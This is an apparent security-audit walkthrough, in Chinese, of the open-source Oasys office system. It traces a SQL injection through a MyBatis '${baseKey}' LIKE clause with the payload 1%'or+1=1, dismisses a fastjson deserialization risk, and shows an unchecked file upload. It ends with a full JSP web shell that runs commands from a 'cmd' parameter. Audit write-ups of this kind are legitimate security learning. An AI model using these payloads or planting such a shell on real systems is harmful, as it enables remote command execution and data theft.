Oasys 系统审计-阿里云开发者社区

Oasys 系统审计

2023-05-30 203

版权

本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。

简介： Oasys 系统审计

github下载oasys，安装数据库，修改密码，配置maven，idea启动

查看pom.xml文件，发现危险组建，fastjson，fileupload，猜测可能存在反序列化，文件上传漏洞。

sql注入

//进行逻辑判断，来根据那个排序，类型、状态、修改时间  传递了basekey参数        
List<Map<String,Object>>sortMyNotice(@Param("userId")Long userId,@Param("baseKey")String baseKey,@Param("type")Integer type,@Param("status")Integer status,@Param("time")Integer time);

Ctrl + 单击查找调用关系

也可以使用find usages

这里比较直接，一步跳转到控制器，这里大致分析下代码

uri映射路径是informlistpaging
@RequestParam是通过web参数进行传递
这里调用了setSomething，
setSomething(baseKey, type, status, time, icon, model);
跟进查看，只是进行判断不为空即可
if(!StringUtils.isEmpty(baseKey)){              
   model.addAttribute("baseKey", baseKey);              
}
然后就是将数据存储在列表里
List<Map<String, Object>> list=nm.sortMyNotice(userId, baseKey, type, status, time);

构造请求

通过右侧搜索，抓包获取到关键字,

get方式直接使用url方法，输入1有八条信息

查看xml层代码，发现有俩%%，加上%发现成功返回数据
<if test="baseKey !=null">
      and n.title LIKE '%${baseKey}%'
    </if>

输入1%'or+1=1,显示22条，我记得模糊查询%%会自动省略吧

总共有两个mapper文件，另一个注入的也是basekey

大致流程和思路也是一样的

fastjson无漏洞

代码中总共调用了两处，且都是进行序列化。所以不会产生漏洞。

文件上传

原项目无法解析jsp添加以下依赖

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-devtools</artifactId>
  <optional>true</optional>
</dependency>
<dependency>
  <groupId>org.apache.tomcat.embed</groupId>
  <artifactId>tomcat-embed-jasper</artifactId>
  <scope>1.2</scope>
</dependency>
<dependency>
  <groupId>javax.servlet</groupId>
  <artifactId>javax.servlet-api</artifactId>
  <version>3.1.0</version>
  <scope>provided</scope>
</dependency>

两种思路，关键字搜索file upload

二是找文件控制器

查看upload方法

获取文件后缀

文件命名为uuid.后缀

rootpath目录

attachment用来管理文件

可见并没有对后缀进行判断

尝试上传下

%
    java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int len = -1;
    byte[] bytes = new byte[1024];
    out.print("<pre>");
    while ((len = input.read(bytes)) != -1) {
        out.println(new String(bytes, "GBK"));
    }
    out.print("</pre>");
%>